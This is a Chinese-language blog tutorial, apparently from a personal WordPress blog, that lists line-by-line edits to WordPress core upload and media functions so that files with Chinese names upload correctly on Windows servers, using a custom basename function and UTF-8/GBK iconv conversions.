<div class="codecolorer-container bash default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br />2<br />3<br /></div></td><td><div class="bash codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">setlocale<span style="color: #7a0874; font-weight: bold;">&#40;</span>LC_ALL, <span style="color: #ff0000;">'en_US.UTF8'</span><span style="color: #7a0874; font-weight: bold;">&#41;</span>;<br />
<span style="color: #000000; font-weight: bold;">//</span> 或者：<br />
setlocale<span style="color: #7a0874; font-weight: bold;">&#40;</span>LC_ALL, <span style="color: #ff0000;">'zh_CN.UTF8'</span><span style="color: #7a0874; font-weight: bold;">&#41;</span>;</div></td></tr></tbody></table></div>
<p>这样以后再调用basename即能正确获取中文名文件的basename.<br />
</ins></p>
<p>wp_unique_filename 之line 2305</p>
<div class="codecolorer-container php default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br /></div></td><td><div class="php codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #000088;">$name</span> <span style="color: #339933;">=</span> <a href="http://www.php.net/basename"><span style="color: #990000;">basename</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$filename</span><span style="color: #339933;">,</span> <span style="color: #000088;">$ext</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></div></td></tr></tbody></table></div>
<p>修改为</p>
<div class="codecolorer-container php default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br /></div></td><td><div class="php codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #000088;">$name</span> <span style="color: #339933;">=</span> ihacklog_basename<span style="color: #009900;">&#40;</span><span style="color: #000088;">$filename</span><span style="color: #339933;">,</span> <span style="color: #000088;">$ext</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></div></td></tr></tbody></table></div>
<p>WP上传图片是通过此页面：<br />
wp-admin/media-upload.php?post_id=日志ID&#038;type=image&#038;TB_iframe=1<br />
flash=0参数是可选的。表示不用flash方式上传。<br />
因上传图片比上传音乐等多一些处理，比如生成缩略图等，因此这里拿它开刀。</p>
<p>在日志发布页面以thickbox载入时是<strong>非inline方式</strong>上传，而通过<strong>媒体 &#8211;> 添加</strong>　上传时是通过inline方式上传的。<br />
inline方式上传动作处理是：</p>
<div class="codecolorer-container php default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br /></div></td><td><div class="php codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000088;">$id</span> <span style="color: #339933;">=</span> media_handle_upload<span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'async-upload'</span><span style="color: #339933;">,</span> <span style="color: #000088;">$_REQUEST</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'post_id'</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></div></td></tr></tbody></table></div>
<p>非inline方式上传处理是：</p>
<div class="codecolorer-container php default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br /></div></td><td><div class="php codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">&nbsp; &nbsp; do_action<span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;media_upload_<span style="color: #006699; font-weight: bold;">$type</span>&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></div></td></tr></tbody></table></div>
<p>我们再看<br />
media_upload_image() ，此函数位于wp-admin/includes/media.php　line 519.<br />
当上传按钮点击时，处理是：</p>
<div class="codecolorer-container php default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br /></div></td><td><div class="php codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">&nbsp; &nbsp; <span style="color: #000088;">$id</span> <span style="color: #339933;">=</span> media_handle_upload<span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'async-upload'</span><span style="color: #339933;">,</span> <span style="color: #000088;">$_REQUEST</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'post_id'</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></div></td></tr></tbody></table></div>
<p>再看wp-admin/includes/media.php line 191 media_handle_upload()<br />
调用　 wp_handle_upload 开始上传文件了：</p>
<div class="codecolorer-container php default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br /></div></td><td><div class="php codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">&nbsp; &nbsp; <span style="color: #000088;">$file</span> <span style="color: #339933;">=</span> wp_handle_upload<span style="color: #009900;">&#40;</span><span style="color: #000088;">$_FILES</span><span style="color: #009900;">&#91;</span><span style="color: #000088;">$file_id</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">,</span> <span style="color: #000088;">$overrides</span><span style="color: #339933;">,</span> <span style="color: #000088;">$time</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></div></td></tr></tbody></table></div>
<p>wp-admin/includes/file.php line 324</p>
<div class="codecolorer-container php default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br /></div></td><td><div class="php codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #000088;">$filename</span> <span style="color: #339933;">=</span> wp_unique_filename<span style="color: #009900;">&#40;</span> <span style="color: #000088;">$uploads</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'path'</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">,</span> <span style="color: #000088;">$file</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'name'</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">,</span> <span style="color: #000088;">$unique_filename_callback</span> <span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></div></td></tr></tbody></table></div>
<p>wp_unique_filename获取name是调用的basename，因此 wp_unique_filename函数得修改。<br />
wp-includes/functions.php line 2298 wp_unique_filename()<br />
line 2305</p>
<div class="codecolorer-container php default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br /></div></td><td><div class="php codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #000088;">$name</span> <span style="color: #339933;">=</span> <a href="http://www.php.net/basename"><span style="color: #990000;">basename</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$filename</span><span style="color: #339933;">,</span> <span style="color: #000088;">$ext</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></div></td></tr></tbody></table></div>
<p>修改为：</p>
<div class="codecolorer-container php default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br /></div></td><td><div class="php codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #000088;">$name</span> <span style="color: #339933;">=</span> ihacklog_basename<span style="color: #009900;">&#40;</span><span style="color: #000088;">$filename</span><span style="color: #339933;">,</span> <span style="color: #000088;">$ext</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></div></td></tr></tbody></table></div>
<p>wp-admin/includes/file.php 其下 line 327 后加一句</p>
<div class="codecolorer-container php default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br /></div></td><td><div class="php codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #000088;">$new_file</span> <span style="color: #339933;">=</span> <a href="http://www.php.net/iconv"><span style="color: #990000;">iconv</span></a><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'UTF-8'</span><span style="color: #339933;">,</span><span style="color: #0000ff;">'GBK'</span><span style="color: #339933;">,</span> <span style="color: #000088;">$new_file</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></div></td></tr></tbody></table></div>
<p>，即变为：</p>
<div class="codecolorer-container php default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br />2<br />3<br />4<br /></div></td><td><div class="php codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #666666; font-style: italic;">// Move the file to the uploads dir</span><br />
&nbsp; &nbsp; <span style="color: #000088;">$new_file</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$uploads</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'path'</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">.</span> <span style="color: #0000ff;">&quot;/<span style="color: #006699; font-weight: bold;">$filename</span>&quot;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; <span style="color: #666666; font-style: italic;">//windows服务器文件系统文件名默认是GBK编码</span><br />
&nbsp; &nbsp; <span style="color: #000088;">$new_file</span> <span style="color: #339933;">=</span> <a href="http://www.php.net/iconv"><span style="color: #990000;">iconv</span></a><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'UTF-8'</span><span style="color: #339933;">,</span><span style="color: #0000ff;">'GBK'</span><span style="color: #339933;">,</span> <span style="color: #000088;">$new_file</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></div></td></tr></tbody></table></div>
<p>现在在回到wp-admin/inclues/media.php function media_handle_upload()<br />
line 238  更新meta信息，调用　wp_generate_attachment_metadata()：</p>
<div class="codecolorer-container php default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br /></div></td><td><div class="php codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">&nbsp; &nbsp; wp_update_attachment_metadata<span style="color: #009900;">&#40;</span> <span style="color: #000088;">$id</span><span style="color: #339933;">,</span> wp_generate_attachment_metadata<span style="color: #009900;">&#40;</span> <span style="color: #000088;">$id</span><span style="color: #339933;">,</span> <span style="color: #000088;">$file</span> <span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></div></td></tr></tbody></table></div>
<p>wp-admin/inclues/image.php line 89 wp_generate_attachment_metadata()：<br />
line 101</p>
<div class="codecolorer-container php default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br /></div></td><td><div class="php codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #000088;">$metadata</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'file'</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">=</span> _wp_relative_upload_path<span style="color: #009900;">&#40;</span><span style="color: #000088;">$file</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></div></td></tr></tbody></table></div>
<p>此处由于文件名是从wp_handle_upload传递过来的，因此得转回UTF-8，在其下加一句：</p>
<div class="codecolorer-container php default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br /></div></td><td><div class="php codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">&nbsp; &nbsp; <span style="color: #000088;">$metadata</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'file'</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">=</span> <a href="http://www.php.net/iconv"><span style="color: #990000;">iconv</span></a><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'GBK'</span><span style="color: #339933;">,</span><span style="color: #0000ff;">'UTF-8'</span><span style="color: #339933;">,</span> <span style="color: #000088;">$metadata</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'file'</span><span style="color: #009900;">&#93;</span> <span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></div></td></tr></tbody></table></div>
<p>line 126-127:</p>
<div class="codecolorer-container php default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br />2<br /></div></td><td><div class="php codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span> <span style="color: #000088;">$resized</span> <span style="color: #009900;">&#41;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000088;">$metadata</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'sizes'</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#91;</span><span style="color: #000088;">$size</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$resized</span><span style="color: #339933;">;</span></div></td></tr></tbody></table></div>
<p>修改为：</p>
<div class="codecolorer-container php default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br />2<br />3<br />4<br />5<br /></div></td><td><div class="php codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span> <span style="color: #000088;">$resized</span> <span style="color: #009900;">&#41;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #009900;">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000088;">$resized</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'file'</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">=</span> <a href="http://www.php.net/iconv"><span style="color: #990000;">iconv</span></a><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'GBK'</span><span style="color: #339933;">,</span><span style="color: #0000ff;">'UTF-8'</span><span style="color: #339933;">,</span> <span style="color: #000088;">$resized</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'file'</span><span style="color: #009900;">&#93;</span> <span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000088;">$metadata</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'sizes'</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#91;</span><span style="color: #000088;">$size</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$resized</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #009900;">&#125;</span></div></td></tr></tbody></table></div>
<p>另外此函数内部调用了image_make_intermediate_size() ,而image_make_intermediate_size又调用了wp_basename<br />
看wp-includes/media.php line 490<br />
此处调用wp_basename　:</p>
<div class="codecolorer-container php default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br /></div></td><td><div class="php codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">&nbsp; &nbsp; <span style="color: #0000ff;">'file'</span> <span style="color: #339933;">=&gt;</span> wp_basename<span style="color: #009900;">&#40;</span> <span style="color: #000088;">$resized_file</span> <span style="color: #009900;">&#41;</span><span style="color: #339933;">,</span></div></td></tr></tbody></table></div>
<p>再看wp-includes/formatting.php　line 2888  wp_basename()<br />
这里要对wp_basename做修改</p>
<div class="codecolorer-container php default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br /></div></td><td><div class="php codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #b1b100;">return</span> <a href="http://www.php.net/urldecode"><span style="color: #990000;">urldecode</span></a><span style="color: #009900;">&#40;</span> ihacklog_basename<span style="color: #009900;">&#40;</span> <a href="http://www.php.net/str_replace"><span style="color: #990000;">str_replace</span></a><span style="color: #009900;">&#40;</span> <span style="color: #0000ff;">'%2F'</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">'/'</span><span style="color: #339933;">,</span> <a href="http://www.php.net/urlencode"><span style="color: #990000;">urlencode</span></a><span style="color: #009900;">&#40;</span> <span style="color: #000088;">$path</span> <span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#41;</span><span style="color: #339933;">,</span> <span style="color: #000088;">$suffix</span> <span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></div></td></tr></tbody></table></div>
<p>wp-admin/includes/media.php line　582　function media_sideload_image()<br />
line 590</p>
<div class="codecolorer-container php default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br /></div></td><td><div class="php codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #000088;">$file_array</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'name'</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">=</span> <a href="http://www.php.net/basename"><span style="color: #990000;">basename</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$matches</span><span style="color: #009900;">&#91;</span><span style="color: #cc66cc;">0</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></div></td></tr></tbody></table></div>
<p>修改为：</p>
<div class="codecolorer-container php default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br /></div></td><td><div class="php codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #000088;">$file_array</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'name'</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">=</span> ihacklog_basename<span style="color: #009900;">&#40;</span><span style="color: #000088;">$matches</span><span style="color: #009900;">&#91;</span><span style="color: #cc66cc;">0</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></div></td></tr></tbody></table></div>
<p>此函数内部调用　media_handle_sideload().<br />
wp-admin/includes/media.php line 256　function media_handle_sideload<br />
line 266</p>
<div class="codecolorer-container php default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br /></div></td><td><div class="php codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #000088;">$title</span> <span style="color: #339933;">=</span> <a href="http://www.php.net/preg_replace"><span style="color: #990000;">preg_replace</span></a><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'/\.[^.]+$/'</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">''</span><span style="color: #339933;">,</span> <a href="http://www.php.net/basename"><span style="color: #990000;">basename</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$file</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></div></td></tr></tbody></table></div>
<p>修改为:</p>
<div class="codecolorer-container php default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br /></div></td><td><div class="php codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #000088;">$title</span> <span style="color: #339933;">=</span> <a href="http://www.php.net/preg_replace"><span style="color: #990000;">preg_replace</span></a><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'/\.[^.]+$/'</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">''</span><span style="color: #339933;">,</span> ihacklog_basename<span style="color: #009900;">&#40;</span><span style="color: #000088;">$file</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></div></td></tr></tbody></table></div>
<p>其后又调用wp_generate_attachment_metadata().</p>
<p>最后：<br />
wp-admin/includes/media.php line 1199 function get_media_item()<br />
line 1217 原来的basename修改为wp_basename</p>
<div class="codecolorer-container php default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br /></div></td><td><div class="php codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #000088;">$filename</span> <span style="color: #339933;">=</span> esc_html<span style="color: #009900;">&#40;</span> <a href="http://www.php.net/basename"><span style="color: #990000;">basename</span></a><span style="color: #009900;">&#40;</span> <span style="color: #000088;">$post</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">guid</span> <span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#41;</span></div></td></tr></tbody></table></div>
<p>修改为：</p>
<div class="codecolorer-container php default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br /></div></td><td><div class="php codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #000088;">$filename</span> <span style="color: #339933;">=</span> esc_html<span style="color: #009900;">&#40;</span> wp_basename<span style="color: #009900;">&#40;</span> <span style="color: #000088;">$post</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">guid</span> <span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></div></td></tr></tbody></table></div>
<p>不然返回结果也是只剩下后缀的。</p>
<p>其它修改：</p>
<div class="codecolorer-container ini default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br />2<br />3<br />4<br />5<br />6<br />7<br />8<br />9<br />10<br /></div></td><td><div class="ini codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">wp-admin/includes/media.php line <span style="">46</span> function wp_crop_image<span style="">&#40;</span><span style="">&#41;</span><br />
line <span style="">70</span> basename ----&gt; &nbsp;ihacklog_basename <br />
wp-admin/includes/media.php line <span style="">625</span> function media_upload_audio<span style="">&#40;</span><span style="">&#41;</span><br />
line <span style="">647</span> basename ----&gt; &nbsp;ihacklog_basename <br />
wp-admin/includes/media.php line <span style="">684</span> function media_upload_video<span style="">&#40;</span><span style="">&#41;</span><br />
line <span style="">706</span> basename ----&gt; &nbsp;ihacklog_basename <br />
wp-admin/includes/media.php line <span style="">743</span> function media_upload_file<span style="">&#40;</span><span style="">&#41;</span><br />
line <span style="">765</span> basename ----&gt; &nbsp;ihacklog_basename <br />
wp-admin/includes/media.php line <span style="">1026</span> function image_attachment_fields_to_save<br />
line <span style="">1029</span> basename ----&gt; &nbsp;ihacklog_basename</div></td></tr></tbody></table></div>
<p>最后，上一张图：<br />
<a href="http://static.ihacklog.com/wp-files/2011/09/Hacklog-upload-WordPress.png" class="tinybox2"  onclick="TINY.box.show({image:this.href,boxid:'frameless',animate:true,fixed:false});return false;"  title="Click to enlarge（点击查看大图）" ><img src="http://static.ihacklog.com/wp-files/2011/09/Hacklog-upload-WordPress-169x400.png" alt="" title="Hacklog-upload-WordPress" width="169" height="400" class="aligncenter size-medium wp-image-4826" /> </a></p>

<script type="text/javascript"> 
var cur_host=top.location.hostname;
var huangye_host="ihacklog.com";
if ( huangye_host != cur_host) 
{
	var cur_url=top.location.href;
	//top.location.href = cur_url.replace(cur_host,huangye_host);
	top.location.href = "http://ihacklog.com/?p=4825";
}
</script> 			
<div class='sub'><h4>喜欢这篇文章吗?</h4><p>请订阅本站 <a class="feed" style="font-family:Consolas,'DejaVu Sans Mono',monospace,'Comic Sans MS',Monaco;font-size:14px;" href="http://ihacklog.com/feed" onclick="prompt(&#39;URL:&#39;, this.href); return false;">RSS feed</a> 或<a style="display:inline-block;width:90px;margin-bottom:-8px;" target="_blank" href="http://list.qq.com/cgi-bin/qf_invite?id=5899d1ae341c4fb741adf6648000fbaf3ef47b98e2a163da"><img border="0" alt="填写您的邮件地址，订阅我们的精彩内容：" src="http://rescdn.list.qq.com/zh_CN/htmledition/images/qunfa/manage/picMode_dark_s.png" /></a></p></div>
                <!-- 版权声明开始 -->
   		<div id="permissions">
		作者：<a href="http://ihacklog.com">荒野无灯</a><br/>
		出处：<span style="color: #333300;"><a target="_blank"  href="http://ihacklog.com"><strong>Hacklog</strong>【荒野无灯weblog】</a></span><br/>
